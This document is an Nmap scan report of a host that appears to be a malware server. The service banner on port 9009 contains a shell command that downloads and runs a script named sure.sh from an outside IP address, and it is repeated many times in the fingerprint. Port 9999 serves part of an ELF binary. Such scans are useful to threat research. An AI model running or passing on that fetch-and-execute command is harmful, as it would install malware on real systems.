Scan Time: Tue Dec 30 18:34:13 2025
Target: 193.142.147.209
----------------------------------------
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-30 18:31 UTC
Nmap scan report for 193.142.147.209
Host is up (0.015s latency).
Not shown: 995 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 ef:15:2b:57:8e:86:8a:d9:9b:0d:37:97:0b:f3:5c:38 (ECDSA)
|_  256 20:fc:7e:3d:e6:5e:6d:35:17:6d:94:6b:75:19:0d:e8 (ED25519)
25/tcp   filtered smtp
465/tcp  filtered smtps
9009/tcp open     pichat?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, GetRequest, HTTPOptions, Help, NULL, RPCCheck, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    /tmp; wget http://94.154.35.154/sure.sh -O- | sh; wget http://94.154.35.154/sure.sh; sh sure.sh; ps
9999/tcp open     elf-exe ELF 32-bit executable file
| fingerprint-strings: 
|   NULL: 
|     PTRh
|     UWVS
|     D$,P
|_    [^_]
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9009-TCP:V=7.95%I=7%D=12/30%Time=69541A86%P=x86_64-pc-linux-gnu%r(N
SF:ULL,6B,"\n\x20\x20cd\x20/tmp;\x20wget\x20http://94\.154\.35\.154/sure\.
SF:sh\x20-O-\x20\|\x20sh;\x20wget\x20http://94\.154\.35\.154/sure\.sh;\x20
SF:sh\x20sure\.sh;\x20ps\x20\n")%r(GenericLines,6B,"\n\x20\x20cd\x20/tmp;\
SF:x20wget\x20http://94\.154\.35\.154/sure\.sh\x20-O-\x20\|\x20sh;\x20wget
SF:\x20http://94\.154\.35\.154/sure\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n")%
SF:r(GetRequest,6B,"\n\x20\x20cd\x20/tmp;\x20wget\x20http://94\.154\.35\.1
SF:54/sure\.sh\x20-O-\x20\|\x20sh;\x20wget\x20http://94\.154\.35\.154/sure
SF:\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n")%r(HTTPOptions,6B,"\n\x20\x20cd\x
SF:20/tmp;\x20wget\x20http://94\.154\.35\.154/sure\.sh\x20-O-\x20\|\x20sh;
SF:\x20wget\x20http://94\.154\.35\.154/sure\.sh;\x20sh\x20sure\.sh;\x20ps\
SF:x20\n")%r(RTSPRequest,6B,"\n\x20\x20cd\x20/tmp;\x20wget\x20http://94\.1
SF:54\.35\.154/sure\.sh\x20-O-\x20\|\x20sh;\x20wget\x20http://94\.154\.35\
SF:.154/sure\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n")%r(RPCCheck,6B,"\n\x20\x
SF:20cd\x20/tmp;\x20wget\x20http://94\.154\.35\.154/sure\.sh\x20-O-\x20\|\
SF:x20sh;\x20wget\x20http://94\.154\.35\.154/sure\.sh;\x20sh\x20sure\.sh;\
SF:x20ps\x20\n")%r(DNSVersionBindReqTCP,6B,"\n\x20\x20cd\x20/tmp;\x20wget\
SF:x20http://94\.154\.35\.154/sure\.sh\x20-O-\x20\|\x20sh;\x20wget\x20http
SF:://94\.154\.35\.154/sure\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n")%r(DNSSta
SF:tusRequestTCP,6B,"\n\x20\x20cd\x20/tmp;\x20wget\x20http://94\.154\.35\.
SF:154/sure\.sh\x20-O-\x20\|\x20sh;\x20wget\x20http://94\.154\.35\.154/sur
SF:e\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n")%r(Help,6B,"\n\x20\x20cd\x20/tmp
SF:;\x20wget\x20http://94\.154\.35\.154/sure\.sh\x20-O-\x20\|\x20sh;\x20wg
SF:et\x20http://94\.154\.35\.154/sure\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n"
SF:)%r(SSLSessionReq,6B,"\n\x20\x20cd\x20/tmp;\x20wget\x20http://94\.154\.
SF:35\.154/sure\.sh\x20-O-\x20\|\x20sh;\x20wget\x20http://94\.154\.35\.154
SF:/sure\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n")%r(TerminalServerCookie,6B,"
SF:\n\x20\x20cd\x20/tmp;\x20wget\x20http://94\.154\.35\.154/sure\.sh\x20-O
SF:-\x20\|\x20sh;\x20wget\x20http://94\.154\.35\.154/sure\.sh;\x20sh\x20su
SF:re\.sh;\x20ps\x20\n")%r(TLSSessionReq,6B,"\n\x20\x20cd\x20/tmp;\x20wget
SF:\x20http://94\.154\.35\.154/sure\.sh\x20-O-\x20\|\x20sh;\x20wget\x20htt
SF:p://94\.154\.35\.154/sure\.sh;\x20sh\x20sure\.sh;\x20ps\x20\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port9999-TCP:V=7.95%I=7%D=12/30%Time=69541A80%P=x86_64-pc-linux-gnu%r(N
SF:ULL,16A0,"\x7fELF\x01\x01\x01\0\0\0\0\0\0\0\0\0\x02\0\x03\0\x01\0\0\0d\
SF:x81\x04\x084\0\0\0db\x01\0\0\0\0\x004\0\x20\0\x03\0\(\0\n\0\t\0\x01\0\0
SF:\0\0\0\0\0\0\x80\x04\x08\0\x80\x04\x08\x05Z\x01\0\x05Z\x01\0\x05\0\0\0\
SF:0\x10\0\0\x01\0\0\0\0`\x01\0\0\xe0\x05\x08\0\xe0\x05\x08\$\x02\0\0\x20>
SF:\x06\0\x06\0\0\0\0\x10\0\0Q\xe5td\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\x06\0\0\0\x04\0\0\0U\x89\xe5S\xe8\x13\0\0\0\x81\xc3w_\x01\0\xe8h\0\0
SF:\0\xe8\xe3#\x01\0\[\]\xc3\x8b\x1c\$\xc3\x90\x90\x90\x90\x90\x90\x90\x90
SF:\x90\x90\x90\x90U\x89\xe5\x83\xec\x08\x80=@\xe2\x05\x08\0t\x0c\xeb5\x83
SF:\xc0\x04\xa3\$\xe0\x05\x08\xff\xd2\xa1\$\xe0\x05\x08\x8b\x10\x85\xd2u\x
SF:eb\xb8\0\0\0\0\x85\xc0t\x10\x83\xec\x0ch\x08\xda\x05\x08\xe8\x04\x7f\xf
SF:b\xf7\x83\xc4\x10\xc6\x05@\xe2\x05\x08\x01\xc9\xc3\x90\x8d\xb4&\0\0\0\0
SF:U\xb8\0\0\0\0\x89\xe5\x83\xec\x08\xe8\0\0\0\0Z\x81\xc2\xf4\^\x01\0\x85\
SF:xc0t\x15Rj\0hD\xe2\x05\x08h\x08\xda\x05\x08\xe8\xc3~\xfb\xf7\x83\xc4\x1
SF:0\xa1\x10\xe0\x05\x08\x85\xc0t\x16\xb8\0\0\0\0\x85\xc0t\r\x83\xec\x0ch\
SF:x10\xe0\x05\x08\xff\xd0\x83\xc4\x10\xc9\xc3\x90\x90\x901\xed\^\x89\xe1\
SF:x83\xe4\xf0PTRh\xb6\xa4\x05\x08h\x94\x80\x04\x08QVh\xd0\x07\x05\x08\xe8
SF:x\xf9\0\0\xf4\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90UWVS\x81\xec\|\x02
SF:\0\0\xbf\xe4\xa4\x05\x081\xed\x8d\x84\$h\x02\0\0\xc7\x84\$h\x02\0\0\xe4
SF:\xa4\x05\x08\xc7\x84\$l\x02\0\0\xe0\xa4\x05\x08\xc7\x84\$p\x02\0\0\xed\
SF:xa4\x05\x08\xc7\x84\$t\x02\0\0\xe9\xa4\x05\x08\xc7\x84\$x\x02\0\0\0\0\0
SF:\0\x89D\$\x08\x83\xec\x0cW\xe8:\xbd\0\0\x83\xc4\x10\x89\xc6\x85\xc0\x0f
SF:\x84\xc6\0\0\0\x8d\xb4&\0\0\0\0\x83\xec\x0cV\xe8\x0e\xbe\0\0\x83\xc4\x1
SF:0\x85\xc0\x0f\x84\x9f\0\0\0\x83\xfd\t\x0f\x8f\x96\0\0\0\x8dX\x0bPPh\xf4
SF:\xa4\x05\x08S\xe8\xf3\xaf\0\0\x83\xc4\x10\x85\xc0t\xcc\x83\xec\x0cSWh\x
SF:f8\xa4\x05\x08h\0\x02\0\0\x8dD\$,P\xe8\x93\xb0\0\0\x83\xc4\x18j\0\x8dD\
SF:$\x1cP\xe8C\xb8\0\0\x83\xc4\x10\x89\xc3\x83\xf8\xfft\x9aQQ\x8d\x84\$\x1
SF:8\x02\0\0PS\xe8\xc0\xb6\0\0\x83\xc4\x10\x85\xc0u\x16\x8b\x84\$<\x02\0\0
SF:\x85\xc0~\x0b=\xff\xff\x9f\0\x0f\x8e\xbc\0\0\0\x83\xec\x0cS\xe8t\xb5\0\
SF:0\x83\xc4\x10\x83\xec\x0cV\xe8o\xbd\0\0\x83\xc4\x10\x85\xc0\x0f\x85a\xf
SF:f\xff\xff\x83\xec\x0cV\xe8\xfa\xbb\0\0\x83\xc4\x10\x8bD\$\x08\x8bx\x04\
SF:x83\xc0\x04\x89D\$\x08\x85\xfft\t\x83\xfd\t\x0f\x8e\t\xff\xff\xff1\xdb\
SF:x8dt&\0C\x8b4\x9d\x80\xa5\x05\x08\x85\xf6u\xf4\x85\xdbtT\xe8\x89\xb6\0\
SF:0\x89\xc2Q\xc1\xfa\x1fQ\xf7\xfb\x8b4\x95\x80\xa5\x05\x08Vj\x0f\xe8\x13\
SF:xb8\0\0XZj\x01h\x06\xa5\x05\x08\xe8\x84\xb7\0\0\x83\xc4\x10\x89\xc3\x83
SF:\xf8\xfft\x1f\x83\xec\x0cV\xe8\xa2\xad\0\0\x83\xc4\x0cPVS\xe8\xca\xba\0
SF:\0\x89\x1c\$\xe8\xcf\xb4\0\0\x83\xc4\x10\x81\xc4\|\x02\0\0\[\^_\]\xc3RR
SF:j\0Sj\x02j\x01Pj\0\xe8@\xb3\0\0\x83\xc4\x20@\x0f\x95\xc0%\xff\0\0\0\x01
SF:\xc5\xe9\x20\xff\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
SF:0\x90VS\x83\xec");
Aggressive OS guesses: Linux 4.15 (96%), Linux 2.6.32 (94%), Linux 4.15 - 5.19 (94%), Android 10 - 11 (Linux 4.14) (93%), Linux 5.10 - 5.19 (93%), Ubiquiti Dream Machine Pro gateway (Linux 4.19) (93%), HP P2000 G3 NAS device (93%), Linux 5.4 (93%), Linux 3.0 (93%), Linux 2.6.32 - 3.13 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 14 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 554/tcp)
HOP RTT      ADDRESS
1   0.15 ms  172.18.0.1
2   3.21 ms  172.31.1.1
3   1.05 ms  26472.your-cloud.host (162.55.119.126)
4   ... 5
6   1.65 ms  core-spine-rdev1.cloud2.fsn1.hetzner.com (213.239.239.85)
7   1.67 ms  core24.fsn1.hetzner.com (213.239.227.222)
8   6.18 ms  core5.fra.hetzner.com (213.239.224.94)
9   ...
10  11.33 ms core2.ams.hetzner.com (213.239.203.237)
11  11.66 ms skylink-gw.hetzner.com (88.198.255.158)
12  ... 13
14  14.18 ms 193.142.147.209

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.33 seconds